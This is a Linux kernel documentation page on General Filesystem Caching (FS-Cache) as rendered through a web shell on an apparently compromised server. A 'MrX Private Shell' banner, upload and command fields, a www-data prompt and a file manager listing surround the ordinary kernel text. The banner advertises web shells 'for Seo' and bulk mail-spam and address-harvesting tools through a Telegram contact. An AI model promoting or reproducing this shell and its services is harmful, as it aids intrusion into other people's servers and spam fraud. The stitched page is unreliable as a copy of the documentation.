__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.192: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>General Filesystem Caching &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Network Filesystem Caching API" href="netfs-api.html" />
    <link rel="prev" title="Filesystem Caching" href="index.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/filesystems/caching/fscache.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="general-filesystem-caching">
<h1>General Filesystem Caching<a class="headerlink" href="#general-filesystem-caching" title="Link to this heading">¶</a></h1>
<section id="overview">
<h2>Overview<a class="headerlink" href="#overview" title="Link to this heading">¶</a></h2>
<p>This facility is a general purpose cache for network filesystems, though it
could be used for caching other things such as ISO9660 filesystems too.</p>
<p>FS-Cache mediates between cache backends (such as CacheFiles) and network
filesystems:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>+---------+
|         |                                    +--------------+
|   NFS   |--+                                 |              |
|         |  |                             +--&gt;|   CacheFS    |
+---------+  |               +----------+  |   |  /dev/hda5   |
             |               |          |  |   +--------------+
+---------+  +--------------&gt;|          |  |
|         |      +-------+   |          |--+
|   AFS   |-----&gt;|       |   | FS-Cache |
|         |      | netfs |--&gt;|          |--+
+---------+  +--&gt;|  lib  |   |          |  |
             |   |       |   |          |  |   +--------------+
+---------+  |   +-------+   +----------+  |   |              |
|         |  |                             +--&gt;|  CacheFiles  |
|   9P    |--+                                 |  /var/cache  |
|         |                                    +--------------+
+---------+
</pre></div>
</div>
<p>Or to look at it another way, FS-Cache is a module that provides a caching
facility to a network filesystem such that the cache is transparent to the
user:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>+---------+
|         |
| Server  |
|         |
+---------+
     |                  NETWORK
~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     |
     |           +----------+
     V           |          |
+---------+      |          |
|         |      |          |
|   NFS   |-----&gt;| FS-Cache |
|         |      |          |--+
+---------+      |          |  |   +--------------+   +--------------+
     |           |          |  |   |              |   |              |
     V           +----------+  +--&gt;|  CacheFiles  |--&gt;|  Ext3        |
+---------+                        |  /var/cache  |   |  /dev/sda6   |
|         |                        +--------------+   +--------------+
|   VFS   |                                ^                     ^
|         |                                |                     |
+---------+                                +--------------+      |
     |                  KERNEL SPACE                      |      |
~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~|~~~~
     |                  USER SPACE                        |      |
     V                                                    |      |
+---------+                                           +--------------+
|         |                                           |              |
| Process |                                           | cachefilesd  |
|         |                                           |              |
+---------+                                           +--------------+
</pre></div>
</div>
<p>FS-Cache does not follow the idea of completely loading every netfs file
opened in its entirety into a cache before permitting it to be accessed and
then serving the pages out of that cache rather than the netfs inode because:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p>It must be practical to operate without a cache.</p></li>
<li><p>The size of any accessible file must not be limited to the size of the
cache.</p></li>
<li><p>The combined size of all opened files (this includes mapped libraries)
must not be limited to the size of the cache.</p></li>
<li><p>The user should not be forced to download an entire file just to do a
one-off access of a small portion of it (such as might be done with the
“file” program).</p></li>
</ol>
</div></blockquote>
<p>It instead serves the cache out in chunks as and when requested by the netfs
using it.</p>
<p>FS-Cache provides the following facilities:</p>
<blockquote>
<div><ul>
<li><p>More than one cache can be used at once.  Caches can be selected
explicitly by use of tags.</p></li>
<li><p>Caches can be added / removed at any time, even whilst being accessed.</p></li>
<li><p>The netfs is provided with an interface that allows either party to
withdraw caching facilities from a file (required for (2)).</p></li>
<li><p>The interface to the netfs returns as few errors as possible, preferring
rather to let the netfs remain oblivious.</p></li>
<li><p>There are three types of cookie: cache, volume and data file cookies.
Cache cookies represent the cache as a whole and are not normally visible
to the netfs; the netfs gets a volume cookie to represent a collection of
files (typically something that a netfs would get for a superblock); and
data file cookies are used to cache data (something that would be got for
an inode).</p></li>
<li><p>Volumes are matched using a key.  This is a printable string that is used
to encode all the information that might be needed to distinguish one
superblock, say, from another.  This would be a compound of things like
cell name or server address, volume name or share path.  It must be a
valid pathname.</p></li>
<li><p>Cookies are matched using a key.  This is a binary blob and is used to
represent the object within a volume (so the volume key need not form
part of the blob).  This might include things like an inode number and
uniquifier or a file handle.</p></li>
<li><p>Cookie resources are set up and pinned by marking the cookie in-use.
This prevents the backing resources from being culled.  Timed garbage
collection is employed to eliminate cookies that haven’t been used for a
short while, thereby reducing resource overload.  This is intended to be
used when a file is opened or closed.</p>
<p>A cookie can be marked in-use multiple times simultaneously; each mark
must be unused.</p>
</li>
<li><p>Begin/end access functions are provided to delay cache withdrawal for the
duration of an operation and prevent structs from being freed whilst
we’re looking at them.</p></li>
<li><p>Data I/O is done by asynchronous DIO to/from a buffer described by the
netfs using an iov_iter.</p></li>
<li><p>An invalidation facility is available to discard data from the cache and
to deal with I/O that’s in progress that is accessing old data.</p></li>
<li><p>Cookies can be “retired” upon release, thereby causing the object to be
removed from the cache.</p></li>
</ul>
</div></blockquote>
<p>The netfs API to FS-Cache can be found in:</p>
<blockquote>
<div><p><a class="reference internal" href="netfs-api.html"><span class="doc">Network Filesystem Caching API</span></a></p>
</div></blockquote>
<p>The cache backend API to FS-Cache can be found in:</p>
<blockquote>
<div><p><a class="reference internal" href="backend-api.html"><span class="doc">Cache Backend API</span></a></p>
</div></blockquote>
</section>
<section id="statistical-information">
<h2>Statistical Information<a class="headerlink" href="#statistical-information" title="Link to this heading">¶</a></h2>
<p>If FS-Cache is compiled with the following options enabled:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>CONFIG_FSCACHE_STATS=y
</pre></div>
</div>
<p>then it will gather certain statistics and display them through:</p>
<blockquote>
<div><p>/proc/fs/fscache/stats</p>
</div></blockquote>
<p>This shows counts of a number of events that can happen in FS-Cache:</p>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>CLASS</p></th>
<th class="head"><p>EVENT</p></th>
<th class="head"><p>MEANING</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td rowspan="4"><p>Cookies</p></td>
<td><p>n=N</p></td>
<td><p>Number of data storage cookies allocated</p></td>
</tr>
<tr class="row-odd"><td><p>v=N</p></td>
<td><p>Number of volume index cookies allocated</p></td>
</tr>
<tr class="row-even"><td><p>vcol=N</p></td>
<td><p>Number of volume index key collisions</p></td>
</tr>
<tr class="row-odd"><td><p>voom=N</p></td>
<td><p>Number of OOM events when allocating volume cookies</p></td>
</tr>
<tr class="row-even"><td rowspan="3"><p>Acquire</p></td>
<td><p>n=N</p></td>
<td><p>Number of acquire cookie requests seen</p></td>
</tr>
<tr class="row-odd"><td><p>ok=N</p></td>
<td><p>Number of acq reqs succeeded</p></td>
</tr>
<tr class="row-even"><td><p>oom=N</p></td>
<td><p>Number of acq reqs failed on ENOMEM</p></td>
</tr>
<tr class="row-odd"><td rowspan="5"><p>LRU</p></td>
<td><p>n=N</p></td>
<td><p>Number of cookies currently on the LRU</p></td>
</tr>
<tr class="row-even"><td><p>exp=N</p></td>
<td><p>Number of cookies expired off of the LRU</p></td>
</tr>
<tr class="row-odd"><td><p>rmv=N</p></td>
<td><p>Number of cookies removed from the LRU</p></td>
</tr>
<tr class="row-even"><td><p>drp=N</p></td>
<td><p>Number of LRU’d cookies relinquished/withdrawn</p></td>
</tr>
<tr class="row-odd"><td><p>at=N</p></td>
<td><p>Time till next LRU cull (jiffies)</p></td>
</tr>
<tr class="row-even"><td><p>Invals</p></td>
<td><p>n=N</p></td>
<td><p>Number of invalidations</p></td>
</tr>
<tr class="row-odd"><td rowspan="3"><p>Updates</p></td>
<td><p>n=N</p></td>
<td><p>Number of update cookie requests seen</p></td>
</tr>
<tr class="row-even"><td><p>rsz=N</p></td>
<td><p>Number of resize requests</p></td>
</tr>
<tr class="row-odd"><td><p>rsn=N</p></td>
<td><p>Number of skipped resize requests</p></td>
</tr>
<tr class="row-even"><td rowspan="3"><p>Relinqs</p></td>
<td><p>n=N</p></td>
<td><p>Number of relinquish cookie requests seen</p></td>
</tr>
<tr class="row-odd"><td><p>rtr=N</p></td>
<td><p>Number of rlq reqs with retire=true</p></td>
</tr>
<tr class="row-even"><td><p>drop=N</p></td>
<td><p>Number of cookies no longer blocking re-acquisition</p></td>
</tr>
<tr class="row-odd"><td rowspan="3"><p>NoSpace</p></td>
<td><p>nwr=N</p></td>
<td><p>Number of write requests refused due to lack of space</p></td>
</tr>
<tr class="row-even"><td><p>ncr=N</p></td>
<td><p>Number of create requests refused due to lack of space</p></td>
</tr>
<tr class="row-odd"><td><p>cull=N</p></td>
<td><p>Number of objects culled to make space</p></td>
</tr>
<tr class="row-even"><td rowspan="2"><p>IO</p></td>
<td><p>rd=N</p></td>
<td><p>Number of read operations in the cache</p></td>
</tr>
<tr class="row-odd"><td><p>wr=N</p></td>
<td><p>Number of write operations in the cache</p></td>
</tr>
</tbody>
</table>
<p>Netfslib will also add some stats counters of its own.</p>
</section>
<section id="cache-list">
<h2>Cache List<a class="headerlink" href="#cache-list" title="Link to this heading">¶</a></h2>
<p>FS-Cache provides a list of cache cookies:</p>
<blockquote>
<div><p>/proc/fs/fscache/cookies</p>
</div></blockquote>
<p>This will look something like:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># cat /proc/fs/fscache/caches
CACHE    REF   VOLS  OBJS  ACCES S NAME
======== ===== ===== ===== ===== = ===============
00000001     2     1  2123     1 A default
</pre></div>
</div>
<p>where the columns are:</p>
<blockquote>
<div><table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>COLUMN</p></th>
<th class="head"><p>DESCRIPTION</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>CACHE</p></td>
<td><p>Cache cookie debug ID (also appears in traces)</p></td>
</tr>
<tr class="row-odd"><td><p>REF</p></td>
<td><p>Number of references on the cache cookie</p></td>
</tr>
<tr class="row-even"><td><p>VOLS</p></td>
<td><p>Number of volumes cookies in this cache</p></td>
</tr>
<tr class="row-odd"><td><p>OBJS</p></td>
<td><p>Number of cache objects in use</p></td>
</tr>
<tr class="row-even"><td><p>ACCES</p></td>
<td><p>Number of accesses pinning the cache</p></td>
</tr>
<tr class="row-odd"><td><p>S</p></td>
<td><p>State</p></td>
</tr>
<tr class="row-even"><td><p>NAME</p></td>
<td><p>Name of the cache.</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
<p>The state can be (-) Inactive, (P)reparing, (A)ctive, (E)rror or (W)ithdrawing.</p>
</section>
<section id="volume-list">
<h2>Volume List<a class="headerlink" href="#volume-list" title="Link to this heading">¶</a></h2>
<p>FS-Cache provides a list of volume cookies:</p>
<blockquote>
<div><p>/proc/fs/fscache/volumes</p>
</div></blockquote>
<p>This will look something like:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>VOLUME   REF   nCOOK ACC FL CACHE           KEY
======== ===== ===== === == =============== ================
00000001    55    54   1 00 default         afs,example.com,100058
</pre></div>
</div>
<p>where the columns are:</p>
<blockquote>
<div><table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>COLUMN</p></th>
<th class="head"><p>DESCRIPTION</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>VOLUME</p></td>
<td><p>The volume cookie debug ID (also appears in traces)</p></td>
</tr>
<tr class="row-odd"><td><p>REF</p></td>
<td><p>Number of references on the volume cookie</p></td>
</tr>
<tr class="row-even"><td><p>nCOOK</p></td>
<td><p>Number of cookies in the volume</p></td>
</tr>
<tr class="row-odd"><td><p>ACC</p></td>
<td><p>Number of accesses pinning the cache</p></td>
</tr>
<tr class="row-even"><td><p>FL</p></td>
<td><p>Flags on the volume cookie</p></td>
</tr>
<tr class="row-odd"><td><p>CACHE</p></td>
<td><p>Name of the cache or “-”</p></td>
</tr>
<tr class="row-even"><td><p>KEY</p></td>
<td><p>The indexing key for the volume</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</section>
<section id="cookie-list">
<h2>Cookie List<a class="headerlink" href="#cookie-list" title="Link to this heading">¶</a></h2>
<p>FS-Cache provides a list of cookies:</p>
<blockquote>
<div><p>/proc/fs/fscache/cookies</p>
</div></blockquote>
<p>This will look something like:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># head /proc/fs/fscache/cookies
COOKIE   VOLUME   REF ACT ACC S FL DEF
======== ======== === === === = == ================
00000435 00000001   1   0  -1 - 08 0000000201d080070000000000000000, 0000000000000000
00000436 00000001   1   0  -1 - 00 0000005601d080080000000000000000, 0000000000000051
00000437 00000001   1   0  -1 - 08 00023b3001d0823f0000000000000000, 0000000000000000
00000438 00000001   1   0  -1 - 08 0000005801d0807b0000000000000000, 0000000000000000
00000439 00000001   1   0  -1 - 08 00023b3201d080a10000000000000000, 0000000000000000
0000043a 00000001   1   0  -1 - 08 00023b3401d080a30000000000000000, 0000000000000000
0000043b 00000001   1   0  -1 - 08 00023b3601d080b30000000000000000, 0000000000000000
0000043c 00000001   1   0  -1 - 08 00023b3801d080b40000000000000000, 0000000000000000
</pre></div>
</div>
<p>where the columns are:</p>
<blockquote>
<div><table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>COLUMN</p></th>
<th class="head"><p>DESCRIPTION</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>COOKIE</p></td>
<td><p>The cookie debug ID (also appears in traces)</p></td>
</tr>
<tr class="row-odd"><td><p>VOLUME</p></td>
<td><p>The parent volume cookie debug ID</p></td>
</tr>
<tr class="row-even"><td><p>REF</p></td>
<td><p>Number of references on the volume cookie</p></td>
</tr>
<tr class="row-odd"><td><p>ACT</p></td>
<td><p>Number of times the cookie is marked for in use</p></td>
</tr>
<tr class="row-even"><td><p>ACC</p></td>
<td><p>Number of access pins in the cookie</p></td>
</tr>
<tr class="row-odd"><td><p>S</p></td>
<td><p>State of the cookie</p></td>
</tr>
<tr class="row-even"><td><p>FL</p></td>
<td><p>Flags on the cookie</p></td>
</tr>
<tr class="row-odd"><td><p>DEF</p></td>
<td><p>Key, auxiliary data</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</section>
<section id="debugging">
<h2>Debugging<a class="headerlink" href="#debugging" title="Link to this heading">¶</a></h2>
<p>If CONFIG_NETFS_DEBUG is enabled, the FS-Cache facility and NETFS support can
have runtime debugging enabled by adjusting the value in:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/sys/module/netfs/parameters/debug
</pre></div>
</div>
<p>This is a bitmask of debugging streams to enable:</p>
<blockquote>
<div><table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>BIT</p></th>
<th class="head"><p>VALUE</p></th>
<th class="head"><p>STREAM</p></th>
<th class="head"><p>POINT</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0</p></td>
<td><p>1</p></td>
<td><p>Cache management</p></td>
<td><p>Function entry trace</p></td>
</tr>
<tr class="row-odd"><td><p>1</p></td>
<td><p>2</p></td>
<td></td>
<td><p>Function exit trace</p></td>
</tr>
<tr class="row-even"><td><p>2</p></td>
<td><p>4</p></td>
<td></td>
<td><p>General</p></td>
</tr>
<tr class="row-odd"><td><p>3</p></td>
<td><p>8</p></td>
<td><p>Cookie management</p></td>
<td><p>Function entry trace</p></td>
</tr>
<tr class="row-even"><td><p>4</p></td>
<td><p>16</p></td>
<td></td>
<td><p>Function exit trace</p></td>
</tr>
<tr class="row-odd"><td><p>5</p></td>
<td><p>32</p></td>
<td></td>
<td><p>General</p></td>
</tr>
<tr class="row-even"><td><p>6-8</p></td>
<td></td>
<td></td>
<td><p>(Not used)</p></td>
</tr>
<tr class="row-odd"><td><p>9</p></td>
<td><p>512</p></td>
<td><p>I/O operation management</p></td>
<td><p>Function entry trace</p></td>
</tr>
<tr class="row-even"><td><p>10</p></td>
<td><p>1024</p></td>
<td></td>
<td><p>Function exit trace</p></td>
</tr>
<tr class="row-odd"><td><p>11</p></td>
<td><p>2048</p></td>
<td></td>
<td><p>General</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
<p>The appropriate set of values should be OR’d together and the result written to
the control file.  For example:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>echo $((1|8|512)) &gt;/sys/module/netfs/parameters/debug
</pre></div>
</div>
<p>will turn on all function entry debugging.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/filesystems/caching/fscache.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
backend-api.html File 38.88 KB 0644
cachefiles.html File 40.16 KB 0644
fscache.html File 25.82 KB 0644
index.html File 13.63 KB 0644
netfs-api.html File 75.38 KB 0644
Filemanager